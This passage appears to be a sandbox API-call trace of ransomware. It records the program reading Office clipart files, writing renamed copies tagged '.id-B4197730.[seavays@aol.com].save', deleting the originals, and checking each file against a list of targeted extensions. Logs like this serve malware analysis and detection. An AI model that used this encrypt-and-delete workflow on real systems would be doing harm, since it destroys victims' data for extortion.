Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.776] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.776] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.778] GetLastError () returned 0x0 [0170.778] ReadFile (in: hFile=0x540, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0170.780] WriteFile (in: hFile=0x548, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0170.782] ReadFile (in: hFile=0x540, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.782] WriteFile (in: hFile=0x548, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.782] SetEndOfFile (hFile=0x548) returned 1 [0170.782] CloseHandle (hObject=0x548) returned 1 [0170.782] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.782] SetEndOfFile (hFile=0x540) returned 1 [0170.785] CloseHandle (hObject=0x540) returned 1 [0170.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.786] lstrlenW (lpString=".doc") returned 4 [0170.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".docx") returned 5 [0170.787] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.787] lstrlenW (lpString=".pdf") returned 4 [0170.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".xls") returned 4 [0170.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.787] lstrlenW (lpString=".xlsx") returned 5 [0170.787] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.787] lstrlenW (lpString=".ppt") returned 4 [0170.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.787] lstrlenW (lpString=".zip") returned 4 [0170.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.787] lstrlenW (lpString=".rar") returned 4 [0170.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".bz2") returned 4 [0170.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".7z") returned 3 [0170.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.787] lstrlenW (lpString=".dbf") returned 4 [0170.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.787] lstrlenW (lpString=".1cd") returned 4 [0170.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.787] lstrlenW (lpString=".jpg") returned 4 [0170.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.787] lstrlenW (lpString=".doc") returned 4 [0170.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString=".docx") returned 5 [0170.788] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.788] lstrlenW (lpString=".pdf") returned 4 [0170.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString=".xls") returned 4 [0170.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.788] lstrlenW (lpString=".xlsx") returned 5 [0170.788] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.788] lstrlenW (lpString=".ppt") returned 4 [0170.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.788] lstrlenW (lpString=".zip") returned 4 [0170.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.788] lstrlenW (lpString=".rar") returned 4 [0170.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString=".bz2") returned 4 [0170.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString=".7z") returned 3 [0170.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.788] lstrlenW (lpString=".dbf") returned 4 [0170.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.788] lstrlenW (lpString=".1cd") returned 4 [0170.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0170.788] lstrlenW (lpString=".jpg") returned 4 [0170.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.789] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.789] lstrlenW (lpString="J0106572.WMF") returned 12 [0170.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.966] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=2148) returned 1 [0170.966] CloseHandle (hObject=0x434) returned 1 [0170.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0170.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.056] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.056] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0172.331] GetLastError () returned 0x0 [0172.331] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x864, lpOverlapped=0x0) returned 1 [0172.333] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x870, lpOverlapped=0x0) returned 1 [0172.335] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.335] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.335] SetEndOfFile (hFile=0x540) returned 1 [0172.336] CloseHandle (hObject=0x540) returned 1 [0172.336] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.336] SetEndOfFile (hFile=0x528) returned 1 [0172.339] CloseHandle (hObject=0x528) returned 1 [0172.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0172.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.341] lstrlenW (lpString=".doc") returned 4 [0172.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.341] lstrlenW (lpString=".docx") returned 5 [0172.341] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.342] lstrlenW (lpString=".pdf") returned 4 [0172.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.342] lstrlenW (lpString=".xls") returned 4 [0172.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.342] lstrlenW (lpString=".xlsx") returned 5 [0172.342] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.342] lstrlenW (lpString=".ppt") returned 4 [0172.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.342] lstrlenW (lpString=".zip") returned 4 [0172.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.342] lstrlenW (lpString=".rar") returned 4 [0172.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.342] lstrlenW (lpString=".bz2") returned 4 [0172.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.342] lstrlenW (lpString=".7z") returned 3 [0172.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.343] lstrlenW (lpString=".dbf") returned 4 [0172.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.343] lstrlenW (lpString=".1cd") returned 4 [0172.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.343] lstrlenW (lpString=".jpg") returned 4 [0172.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.343] lstrlenW (lpString=".doc") returned 4 [0172.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.343] lstrlenW (lpString=".docx") returned 5 [0172.343] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.343] lstrlenW (lpString=".pdf") returned 4 [0172.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.343] lstrlenW (lpString=".xls") returned 4 [0172.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.343] lstrlenW (lpString=".xlsx") returned 5 [0172.343] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.343] lstrlenW (lpString=".ppt") returned 4 [0172.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.343] lstrlenW (lpString=".zip") returned 4 [0172.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.343] lstrlenW (lpString=".rar") returned 4 [0172.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.344] lstrlenW (lpString=".bz2") returned 4 [0172.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.344] lstrlenW (lpString=".7z") returned 3 [0172.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.344] lstrlenW (lpString=".dbf") returned 4 [0172.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.344] lstrlenW (lpString=".1cd") returned 4 [0172.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0172.344] lstrlenW (lpString=".jpg") returned 4 [0172.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.344] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.344] lstrlenW (lpString="J0107152.WMF") returned 12 [0172.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.345] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=22532) returned 1 [0172.345] CloseHandle (hObject=0x528) returned 1 [0172.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220 [0172.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.346] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.346] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0172.347] GetLastError () returned 0x0 [0172.347] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x5804, lpOverlapped=0x0) returned 1 [0172.350] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5810, lpOverlapped=0x0) returned 1 [0172.351] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.351] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.352] SetEndOfFile (hFile=0x540) returned 1 [0172.352] CloseHandle (hObject=0x540) returned 1 [0172.352] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.352] SetEndOfFile (hFile=0x528) returned 1 [0172.356] CloseHandle (hObject=0x528) returned 1 [0172.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0172.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.358] lstrlenW (lpString=".doc") returned 4 [0172.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.358] lstrlenW (lpString=".docx") returned 5 [0172.358] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.358] lstrlenW (lpString=".pdf") returned 4 [0172.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.358] lstrlenW (lpString=".xls") returned 4 [0172.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.358] lstrlenW (lpString=".xlsx") returned 5 [0172.358] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.358] lstrlenW (lpString=".ppt") returned 4 [0172.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.359] lstrlenW (lpString=".zip") returned 4 [0172.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.359] lstrlenW (lpString=".rar") returned 4 [0172.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.359] lstrlenW (lpString=".bz2") returned 4 [0172.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.359] lstrlenW (lpString=".7z") returned 3 [0172.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.359] lstrlenW (lpString=".dbf") returned 4 [0172.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.359] lstrlenW (lpString=".1cd") returned 4 [0172.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.359] lstrlenW (lpString=".jpg") returned 4 [0172.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.359] lstrlenW (lpString=".doc") returned 4 [0172.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.359] lstrlenW (lpString=".docx") returned 5 [0172.359] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.359] lstrlenW (lpString=".pdf") returned 4 [0172.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.360] lstrlenW (lpString=".xls") returned 4 [0172.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.360] lstrlenW (lpString=".xlsx") returned 5 [0172.360] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.360] lstrlenW (lpString=".ppt") returned 4 [0172.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.360] lstrlenW (lpString=".zip") returned 4 [0172.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.360] lstrlenW (lpString=".rar") returned 4 [0172.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.360] lstrlenW (lpString=".bz2") returned 4 [0172.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.360] lstrlenW (lpString=".7z") returned 3 [0172.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.360] lstrlenW (lpString=".dbf") returned 4 [0172.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.360] lstrlenW (lpString=".1cd") returned 4 [0172.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0172.360] lstrlenW (lpString=".jpg") returned 4 [0172.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.361] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.361] lstrlenW (lpString="J0107154.WMF") returned 12 [0172.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.362] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=22300) returned 1 [0172.362] CloseHandle (hObject=0x528) returned 1 [0172.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220 [0172.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.363] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | 